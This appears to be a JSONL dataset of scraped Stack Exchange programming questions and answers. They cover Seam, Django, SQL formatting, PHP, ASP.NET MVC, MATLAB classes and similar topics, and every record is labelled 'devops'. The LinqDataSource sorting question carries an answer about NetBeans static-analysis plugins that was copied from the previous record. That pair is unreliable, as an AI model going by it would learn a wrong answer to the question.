{"id": "hf_d73725c0f928", "question": "<p>In my Seam application, I have a Seam component that returns a (<code>@Datamodel</code>) list of items I want to transform into a set of <code>&lt;li&gt;</code> HTML elements. I have this working without a problem. </p>\n\n<p>But now, I want to split up the list according to an EL expression. So the EL expression determines if a new <code>&lt;ul&gt;</code> element should be started. I tried the following:</p>\n\n<pre><code>&lt;s:fragment rendered=\"#{action.isNewList(index)}\"&gt;\n  &lt;ul&gt;\n&lt;/s:fragment&gt;\n&lt;!-- stuff that does the &lt;li&gt;'s goes here --&gt;\n&lt;s:fragment rendered=\"#{action.isNewList(index)}\"&gt;\n  &lt;/ul&gt;\n&lt;/s:fragment&gt;\n</code></pre>\n\n<p>But that's invalid, because the nesting for <code>&lt;ul&gt;</code> is wrong.</p>\n\n<p>How should I do this?</p>\n", "question_body": "", "answer": "I'm not familiar with the Seam Framework, but if I understand the problem correctly something like this might work.\n```\n```\n<!-- before your loop, open your first <ul> if the (@Datamodel) is not empty -->\n\n<s:fragment rendered=\"#{action.isNewList(index)}\">\n  </ul>\n  <ul>\n</s:fragment>\n<!-- stuff that does the <li>'s goes here -->\n\n<!-- after your loop, close your last </ul> if the (@Datamodel) is not empty -->\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.655190"}
{"id": "hf_d05c65d8d6f5", "question": "<p>is there any way of making sure that, one user is logged in only once?</p>\n\n<p>I would like to avoid two different persons logging into the system with the same login/password.</p>\n\n<p>I guess I could do it myself by checking in the django_session table before logging in the user, but I rather prefer using the framework, if there is already such functionality.</p>\n\n<p>Cheers,</p>\n\n<p>Thanks for the responses!</p>\n", "question_body": "", "answer": "Logged in twice is ambiguous over HTTP.  There's no \"disconnecting\" signal that's sent.  You can frustrate people if you're not careful.\nIf I shut down my browser and drop the cookies -- accidentally -- I might be prevented from logging in again.\nHow would the server know it was me trying to re-login vs. me trying to login twice?\nYou can try things like checking the IP address.  And what if the accidental disconnect was my router crashing, releasing my DHCP lease?  Now I'm trying to re-login, but I have a new address and no established cookie.  I'm not trying to create a second session, I'm  just trying to get back on after my current session got disconnected.\nthe point is that there's no well-established rule for \"single session\" that can be installed in a framework. You have to make up a rule appropriate to your application and figure out how to enforce it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.678911"}
{"id": "hf_d628432e54ba", "question": "<p>I know, it depends on the webapp. But in the normal case, what do you do: one servlet, that serves different pages (like an standalone-application with changing content) or for every page a single servlet.</p>\n\n<p>Take for instance a blog. There is the start-page with the most recent blog-entries, an article-view for displaying one blog-entry and an archive. Do you implement this with three different servlets, or one that is dispatching to the functions. At least a good part of the stuff is shared, like http-headers.</p>\n\n<p>So, what are your experiences, what works best?</p>\n", "question_body": "", "answer": "Usually you will create a servlet per use case. Servlets acts like controllers for your application. When you identify an interaction from a user then implement a servlet to control that interaction.\nThat is, if you are using plain servlet/JSP to build the site. If you are using a framework like struts you will find that they implement the front controller pattern and use a single servlet that recieves all the requests and forwards these requests to action classes that implement the actual logic of the user request. this is much harder to do yourself but its a good practice...its the reason why so many people use these frameworks.\nSo the short answer is, you will create many servlets per webapp since each webapp will expose several use cases.\n[EDIT] Re-reading your question it seems as if you are using the term\nsite\nto mean page or view. Again, it depends on what is happening on that view. For instance, To display the newest blog entry, you can have a servlet that constructs the list of entries from the database for display. If the user clicks on an entry then another servlet can retrieve that single entry for viewing and so on. Mainly, each action is a use case therefore a different servlet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.752414"}
{"id": "hf_33226d00055e", "question": "<p>What do I have to do to convert a DIB to a BMP?</p>\n", "question_body": "", "answer": "Check the API GdipCreateBitmapFromGdiDib\nExample:\nhttp://www.codeproject.com/KB/GDI-plus/DIBtoBitmap.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.820535"}
{"id": "hf_d26dc029879a", "question": "<p>I have a solution which contains many class libraries and an ASP .NET website which references those assemblies.</p>\n\n<p>When I build the solution from within the IDE, all assemblies referenced by the website end up in the bin directory. Great!</p>\n\n<p>When I use MsBuild from the command line, all the referenced assemblies are not copied to the bin directory. Why?</p>\n\n<p>My command line is simply:</p>\n\n<pre><code>msbuild.exe d:\\myproject\\mysolution.sln\n</code></pre>\n", "question_body": "", "answer": "Which msbuild are you referencing? Is it the right one?\nI generally call like this (from a batch file):\n%WINDIR%\\Microsoft.NET\\Framework\\v3.5\\msbuild.exe deploy.proj /v:n\nIn this example, deploy.proj is just a regular msbuild file that does some other stuff before and after calling msbuild on the .sln file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:35.973794"}
{"id": "hf_2618007e470a", "question": "<p>What is the accepted practice for indenting SQL statements?  For example, consider the following SQL statement:</p>\n\n<pre><code>SELECT column1, column2\nFROM table1\nWHERE column3 IN\n(\nSELECT TOP(1) column4\nFROM table2\nINNER JOIN table3\nON table2.column1 = table3.column1\n)\n</code></pre>\n\n<p>How should this be indented?  Many thanks.</p>\n", "question_body": "", "answer": "This is my personal method.  Depending on the length of the join condition I sometimes indent it on the line below.\n```\n```\nSELECT\n  column1,\n  column2\nFROM\n  table1\nWHERE\n  column3 IN ( \n    SELECT TOP(1)\n      column4\n    FROM\n      table2\n      INNER JOIN table3 ON table2.column1 = table3.column1\n  )\n\nSELECT\n  column1,\n  column2\nFROM\n  table1\nWHERE\n  column3 IN ( \n    SELECT TOP(1)\n      column4\n    FROM\n      table2\n      INNER JOIN table3\n        ON table2.column1 = table3.column1 -- for long ones\n  )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.022619"}
{"id": "hf_bbc1e6ab63f7", "question": "<p>I am looking for things like reordering of code that could even break the code in the case of a multiple processor.</p>\n", "question_body": "", "answer": "Yes, but what exactly is your question?\nHowever, since this is an interesting topic: tricks that compilers and processors use to optimize code should not break code, even with multiple processors, in the absence of race conditions in that code. This is called the guarantee of sequential consistency: if your program does not have any race conditions, and all data is correctly locked before accessing, the code will behave as if it were executed sequentially.\nThere is a really good video of Herb Sutter talking about this here:\nhttp://video.google.com/videoplay?docid=-4714369049736584770\nEveryone should watch this :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.047186"}
{"id": "hf_8b0d186676f1", "question": "<p>We are currently setting up the evaluation criteria for a trade study we will be conducting.</p>\n\n<p>One of the criterion we selected is reliability (and/or robustness - are these the same?).</p>\n\n<p>How do you assess that software is reliable without being able to afford much time evaluating it?</p>\n\n<p>Edit: Along the lines of the response given by KenG, to narrow the focus of the question:\nYou can choose among 50 existing software solutions. You need to assess how reliable they are, without being able to test them (at least initially). What <em>tangible</em> metrics or other can you use to evaluate said reliability?</p>\n", "question_body": "", "answer": "Well, the keyword 'reliable' can lead to different answers... When thinking of reliability, I think of two aspects:\nalways giving the right answer (or the best answer)\nalways giving the same answer\nEither way, I think it boils down to some repeatable tests. If the application in question is not built with a strong suite of unit and acceptance tests, you can still come up with a set of manual or automated tests to perform repeatedly.\nThe fact that the tests always return the same results will show that aspect #2 is taken care of. For aspect #1 it really is up to the test writers: come up with good tests that would expose bugs or imperfections.\nI can't be more specific without knowing what the application is about, sorry. For instance, a messaging system would be reliable if messages were always delivered, never lost, never contain errors, etc etc... a calculator's definition of reliability would be much different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.164319"}
{"id": "hf_a8eec2a49f65", "question": "<p>I wrote a PHP code like this</p>\n\n<pre><code>$site=\"http://www.google.com\";\n$content = file_get_content($site);\necho $content;\n</code></pre>\n\n<p>But when I remove \"http://\" from <code>$site</code> I get the following warning:</p>\n\n<blockquote>\n  <p>Warning:\n  file_get_contents(www.google.com)\n  [function.file-get-contents]: failed\n  to open stream:</p>\n</blockquote>\n\n<p>I tried <code>try</code> and <code>catch</code> but it didn't work.</p>\n", "question_body": "", "answer": "You can prepend an @:\n```\n$content = @file_get_contents($site);\n```\nThis will supress any warning -\nuse sparingly!\n. See\nError Control Operators\nEdit: When you remove the 'http://' you're no longer looking for a web page, but a file on your disk called \"www.google.....\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.200367"}
{"id": "hf_8073b4096331", "question": "<p>Is there a way on the CVS command line to list all files associated with a tag?</p>\n", "question_body": "", "answer": "I think it's\n```\n```\ncvs ls -lR -r tag\n```\n```\nbut I'm on SVN now, so you'll have to test it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.250603"}
{"id": "hf_4c3376919001", "question": "<p>I'd like to be able to place all my ASP Classic include files outside of the web root. This assures no include files can be called directly via the URL. </p>\n\n<p>What is the best way to accomplish this?</p>\n\n<p>I know I can use a <a href=\"http://msdn.microsoft.com/en-us/library/zwk103ab.aspx\" rel=\"nofollow noreferrer\">virtual directory</a> to reference an includes folder outside of web root, but doesn't that still allow direct access to that directory via the URL? Perhaps I'm misunderstanding the nature of virtual directories.</p>\n", "question_body": "", "answer": "From\nthis article\n:\n(I've never need to do this myself)\nUnderstood.  Make a virtual directory\n  'inside' your Default Web Site that\n  points to the files 'outside' your\n  working folder.  In your code\n  reference the virtual directory that\n  points to the folder / files outside\n  your normal structure.  For example\nYour default website is a local folder\n  called c:\\websites\\example.com.  Under\n  example.com, all your folders and\n  files.  However, the files you want on\n  a file server called FileServerA in a\n  folder called D:\\MyWebsiteIncludes. \n  The UNC path is\n  \\FileServerA\\D$\\MyWebSiteIncludes or\n  if you create a share on the folder,\n  \\FileServerA\\MyWebsiteIncludes  On\n  the web server, create a virtual\n  directory that maps to either share\n  path.  You'll need to make sure the\n  proper credentials are configured to\n  access the files on the remote server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.273790"}
{"id": "hf_ef1fe58be73c", "question": "<p>i want something like this</p>\n\n<ol>\n<li><p>the user enter a website link</p></li>\n<li><p>i need check the link if the link\ndoesn't start with 'http://' I want\nto append 'http://' to the link .</p></li>\n</ol>\n\n<p>how can I do that in PHP ? </p>\n", "question_body": "", "answer": "```\n```\nif (stripos($url, 'http://') !== 0) {\n   $url = 'http://' . $url;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.297885"}
{"id": "hf_ab3313eda70d", "question": "<p>Is Lucene.Net suitable as the search engine for frequently changing content? </p>\n\n<p>Or more specificically, can anybody give a subjective opinion on how quickly lucene.net indexes can be updated. Any other approaches to searching frequently changing content would be great.</p>\n\n<p>We’re developing a forum. Forum posts will be frequently added to the forum repository. We think we need these posts to be added to lucene index very quickly (&lt;0.5s) to become available to search. There’ll be about 5E6 posts in the repository initially. Assume search engine running on non-exotic server (I know this is very vague!).</p>\n\n<p>Other suggestions with regard to addressing the issue of searching frequently changing content appreciated. The forum posts need to be searchable on a variable number of named tags (tag name and value must match). A SQL based approach (based on Toxi schema) isn’t giving us the performance we’d like.</p>\n", "question_body": "", "answer": "Out forums (\nhttp://episteme.arstechnica.com\n) use Lucene as the search backend, so it's doable.  Posts aren't indexed quite as quickly as you'd like, but we could solve that by beefing up the indexing hardware and using a smarter caching strategy.\nThe general answer to this question is: it depends what your write/update pattern is.  Forums are relatively easy, since most content is new and existing content is updated less frequently.\nFor a forum, I'd recommend having an \"archive\" index and a \"live\" index.  The live index might include posts from the last day, week, year, while the archive index will include a large body of posts that probably won't ever be touched again.  So when someone creates a new post, it will initially be indexed in the live index.  At a later time, some batch job would clear out the live index, and reindex everything into the archive.\nLucene's very good at querying across multiple indexes.  You should abuse that ability. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.332361"}
{"id": "hf_690391352460", "question": "<p>What is the meaning of the concepts 'covariance' and 'contravariance'?</p>\n\n<p>Given 2 classes, <strong>Animal</strong> and <strong>Elephant</strong> (which inherits from <strong>Animal</strong>), my understanding is that you would get a run-time errors if you try and put an Elephant into an array of Animals, and this happens because Elephant is \"bigger\" (more specific) than Animal.  But could you place an Animal into an array of Elephant, seeing how Elephant is guaranteed to contain the Animal properties?</p>\n", "question_body": "", "answer": "Have a look at this overview of covariance and contravariance in C# 4.0 and see if that helps:\nhttp://blogs.msdn.com/charlie/archive/2008/10/27/linq-farm-covariance-and-contravariance-in-visual-studio-2010.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.356567"}
{"id": "hf_798711902da6", "question": "<p>Some programs read the company name that you entered when Windows was installed and display it in the program. How is this done? Are they simply reading the name from the registry?</p>\n", "question_body": "", "answer": "Check the API SystemParametersInfo and a constant named SPI_GETOEMINFO\n```\n```\nint details = SystemParametersInfo(SPI_GETOEMINFO, OEMInfo.Capacity, OEMInfo, 0);\n        if (details != 0)\n        {\n            MessageBox.Show(OEMInfo.ToString());\n        }\n```\n```\nThat will return the companyname for the OEM. I dont think you have to enter company name when installing windows, only computer name ( I can be wrong here)\nYou can see all the constants and examples here:\nhttp://pinvoke.net/default.aspx/Enums.SystemMetric", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.392817"}
{"id": "hf_fc2a79d5e185", "question": "<p><a href=\"http://localhost:50034/Admin/Delete/723\" rel=\"nofollow noreferrer\">http://localhost:50034/Admin/Delete/723</a></p>\n\n<p>Always needs this parameter to perform the action, however, if you go to the URL without the parameter, an exception occurs. How do you handle this and redirect back to the main page without doing anything?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "```\n```\npublic ActionResult Details(int? Id)\n{\n     if (Id == null)\n           return RedirectToAction(\"Index\");\n     return View();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.445317"}
{"id": "hf_19fdca8d462b", "question": "<p>This function exists on OS X and allows you to pass custom local to the function. setlocale is not thread-safe, and passing locale as parameter is.</p>\n\n<p>If there is no equivalent, any way of locale-independent printf, or printf just for doubles (%g) will be ok.</p>\n", "question_body": "", "answer": "You might try\n```\nuselocale\n```\n, which sets the thread locale (rather than the process locale) before calling\n```\nprintf\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.517064"}
{"id": "hf_0a50927373c4", "question": "<p>Does anyone know if it is possible to embed a file open dialog inside your own form?</p>\n\n<p>We have a tabbed dialog and on one of the tabs we want the user to be able to browse for a file with the same functionality as the the standard open dialog e.g.  'Look in' combobox, places bar, shell file list, file name comboedit with name completion etc etc.</p>\n\n<p>I've looked at recreating the dialog with some 3rd party components, namely <a href=\"http://www.jam-software.com/shellbrowser_delphi/components.shtml\" rel=\"nofollow noreferrer\">Jam Shell Browser Components</a>  </p>\n\n<p>I can get most of the functionality this way, but I'm missing a couple of things e.g. the places bar and the filename auto completion\\suggestion</p>\n", "question_body": "", "answer": "I don't want to say it's impossible but considering the amount of ugly winapi hacks you'd probably involve I suggest \"recreating the dialog with some 3rd party components\" but with\nVirtualShellTools\n.\nVirtualShellTools can be downloaded from\nthis SVN archive\n.\nAnd\nhere's the google code project page\n.\n(At least it has the filename autocompletion combobox though i am not sure if it has the places bar). Hope it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.551821"}
{"id": "hf_141bcd260007", "question": "<p>I'm finding a couple for Java in general but no plugins for netbeans that I can see.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I've used the\nPMD NetBeans plugin\n, and\nhere\nare the installation instructions (may be a little outdated, due to the speed of NetBeans development, but I got them to work).\nHere's a list of\ntools for static analyisis\n.  Maybe you can cross-check for others that offer NetBeans support.\nEDIT:\nThose instruction are a little bit old, so I put a more up-to-date set\nhere\n(links to my blog).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.575323"}
{"id": "hf_fbbe46986ada", "question": "<p>So I'm writing a page which does some reporting and it's pretty dynamic, the user has the ability to group data and sort columns. I've been able to get my dynamic grouping down and then the sorting except now my generated linq-to-sql sql order by statement is backwards from what I want it to be. I think I need to figure out how to get at the Result returned from the LinqDataSource when the Sorting event is fired in the ListView so that I can then append my grouping order by clauses.</p>\n\n<p>Currently I'm overriding the LinqDataSource selecting event to provide it's result and do the dynamic grouping there, but then the Result is modified by the Sort on the listview and I was thinking there must be some way to get at that result during the Sorting or Sorted event.</p>\n\n<p>Any insight would be appreciated, in the meantime I will be attempting to figure this out myself.</p>\n", "question_body": "", "answer": "I've used the\nPMD NetBeans plugin\n, and\nhere\nare the installation instructions (may be a little outdated, due to the speed of NetBeans development, but I got them to work).\nHere's a list of\ntools for static analyisis\n.  Maybe you can cross-check for others that offer NetBeans support.\nEDIT:\nThose instruction are a little bit old, so I put a more up-to-date set\nhere\n(links to my blog).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.599421"}
{"id": "hf_671654397862", "question": "<p>I want to explicitly call a view from my controller.</p>\n\n<p>Right now I have:</p>\n\n<pre><code>def some_action\n  .. do something ...\n  respond_to do |format|\n    format.xml\n  end\nend\n</code></pre>\n\n<p>... then it calls my some_action.xml.builder view.  How can I call some other view?  Is there a parameter in respond_to I'm missing?</p>\n\n<p>Thanks,</p>\n\n<p>JP</p>\n", "question_body": "", "answer": "See the\nRendering section of the ActionController::Base documentation\nfor the different ways you can control what to render.\nYou can tell Rails to render a specific view (template) like this:\n```\n```\n# Renders the template located in [TEMPLATE_ROOT]/weblog/show.r(html|xml) (in Rails, app/views/weblog/show.erb)\n  render :template => \"weblog/show\"\n\n# Renders the template with a local variable\n  render :template => \"weblog/show\", :locals => {:customer => Customer.new}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.644829"}
{"id": "hf_44e6ac016990", "question": "<p>Anyone using MozyPro to backup SQL Server databases?</p>\n\n<p>I'm concerned about the way it does the backup. It just copies data files the way they are. Not using the backup database command.</p>\n\n<p>Is it safe?</p>\n", "question_body": "", "answer": "MozyPro uses the Volume Shadow Service (VSS) to create backups for SQL Server.  SQL Server 2005 has been engineered so that VSS backups are consistent.  So this is definitely a valid way to back up SQL Server databases.\nHere is a white paper\non how the SQL Server 2005 SQL Writer works with VSS.\nMicrosoft® SQL Server™ 2005 provides\n  support for creating snapshots from\n  SQL Server data using Volume Shadow\n  Copy Service (VSS). This is\n  accomplished by providing a VSS\n  compliant writer (the SQL writer) so\n  that a third-party backup application\n  can use the VSS framework to back up\n  database files. This paper describes\n  the SQL writer component and its role\n  in the VSS snapshot creation and\n  restore process for SQL Server\n  databases. It also captures details on\n  how to configure and use the SQL\n  writer to work with backup\n  applications in the context of the VSS\n  framework.\nHere is the MozyPro manual\n(PDF), which describes how to restore SQL Server backups that were made using VSS.\nThat being said, if you don't trust this method, there is nothing stopping you from setting up a backup job and just having Mozy backup your *.bak files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.686059"}
{"id": "hf_6a03e9a78d17", "question": "<p>How can I get Direct3D to work over a Remote Desktop connection? I am using Windows XP Professional.</p>\n", "question_body": "", "answer": "Maybe you already knew this but doesn't look like this is a supported scenario.\nSee\nRemote Desktop Sharing Disables Direct3D Functionality\nand\nIs it too much to ask to have ONE good image display API in Windows?\nYou may want to look at WPF if you have a choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.749272"}
{"id": "hf_2091f8c9a295", "question": "<p>Is it possible to disable AJAX without disabling JavaScript completely? </p>\n", "question_body": "", "answer": "No. AJAX is just a particular use of javascript.\nIf you could block the particular function call back to the server you might be able to do it, but you would probably have to edit your browser.\nI assume you want to do this from the client end... Can you list some more specific goals? What is the expected outcome?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.773145"}
{"id": "hf_b84d5c867ac7", "question": "<p>How can I achieve a cool looking photo gallery page?  I don't know Flash, but can learn, and thought about a random collage that 'pulls out' a photo that you hover over.</p>\n\n<p>It's for a photographer, so no thumbnails, grids, etc.</p>\n", "question_body": "", "answer": "If you're looking for a tool that's pretty flexible and will support itself later on as you can just train the user to work with it check out\nJAlbum\n.\nTo work on integrating this yourself you can check out\nAJAX ASP Photo Gallery\nor something like\nthis one\n.\nIf you're looking for a flash/flex based solution that they can just \"plug-in\" as a stand-alone product which incorporates some of the features you've described\nStudioCloud\nhas a nice one that has a monthly fee...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.814158"}
{"id": "hf_85e38b8c5b7b", "question": "<p>I'm reading Erica Sadun's <em>iPhone Developer's Cookbook</em>, and ran into a question.</p>\n\n<p>She says in the book that the way to find the user's Documents directory is with the code:</p>\n\n<pre><code>[NSHomeDirectory() stringByAppendingPathComponent:@\"Documents\"];\n</code></pre>\n\n<p>but that seems slightly brittle, and dissimiliar to the normal Mac way of doing it, which would be:</p>\n\n<pre><code>NSSearchPathForDirectoriesInDomains(NSDocumentsDirectory, NSUserDomainMask, YES);\n</code></pre>\n\n<p>Are there any particular reasons to use one over the other?</p>\n", "question_body": "", "answer": "Objc:\n```\n```\nNSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)\n```\n```\nSwift:\n```\n```\nvar paths = NSSearchPathForDirectoriesInDomains(NSSearchPathDirectory.DocumentDirectory, NSSearchPathDomainMask.UserDomainMask, true)\n```\n```\nYou'll want the first element of the returned array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.859018"}
{"id": "hf_0031fdce8728", "question": "<p>How can I read the status of the battery on my MacBookPro from my own application?</p>\n\n<p>Googling has so far only revealed APIs for device drivers to handle power events - there's nothing about user-land processes accessing this information.</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "You'll want to use IOKit for this, specifically the\nIOPowerSources functions\n.  You can use\n```\nIOPSCopyPowerSourcesInfo()\n```\nto get a blob, and\n```\nIOPSCopyPowerSourcesList()\n```\nto then extract a CFArray out of that, listing the power sources. Then use\n```\nIOPSGetPowerSourceDescription()\n```\nto pull out a dictionary (see\nIOPSKeys.h\nfor the contents of the dictionary).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.886473"}
{"id": "hf_36330dc8071a", "question": "<p>I'm especially interested in memory profiling, reducing the size of a compiled .swf, measuring network latency, etc.  Also, I'm focussed entirely on AS3.</p>\n", "question_body": "", "answer": "FlexBuilder Pro definitely seems like a good option.  Downloading the trial now...\nThis article looks useful too:\nhttp://flexblog.edchipman.ca/?p=7\nI'm not actually concerned about measuring network latency, but I am concerned about measuring which parts of my app are slow because of latency, and which parts are slow because of boneheaded AS3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.909420"}
{"id": "hf_ff151633c33c", "question": "<p>I've created a MATLAB class, something like:</p>\n\n<pre><code>classdef myclass\n\n  properties\n      x_array = [];\n  end\n\n  methods\n    function increment(obj,value)\n       obj.x_array = [obj.x_array ; value);\n    end\n  end\nend\n</code></pre>\n\n<p>The problem is, the property <code>x_array</code> is never modified when I invoke the <code>increment()</code> function:\nex:</p>\n\n<pre><code>&gt;&gt;s = myclass\n&gt;&gt;increment(s,5)\n\n&gt;&gt;s.x_array\nans = []\n</code></pre>\n\n<p>I did some research, and I reached a conclusion that this is because of MATLAB using Lazy Copy for objects, making my class inherit the HANDLE class should have solved this, but it didn't, does anybody know why this is happening? And if extending the handle class is indeen the solution, isn't this the right way to do it:</p>\n\n<pre><code>classdef myclass &lt; handle\n</code></pre>\n\n<p>or are there any extra steps?</p>\n", "question_body": "", "answer": "This is similar to\nthis question\n. In short all you should have to do is inherit from handle class.\nQuick example\nContents of file myclass.m\n```\n```\nclassdef myclass<handle\n    properties\n        x_array = []\n    end\n    methods\n        function obj=increment(obj,val)\n            obj.x_array=[obj.x_array val];\n        end\n    end\nend\n```\n```\nNow from the Matlab command prompt, you can do the following\n```\n```\n>> s=myclass;\n>> s.increment(5)\n>> s.increment(6)\n>> s\n\ns = \n\nmyclass handle\n\nproperties:\n    x_array: [5 6]\n\nlists of methods, events, superclasses\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:36.991411"}
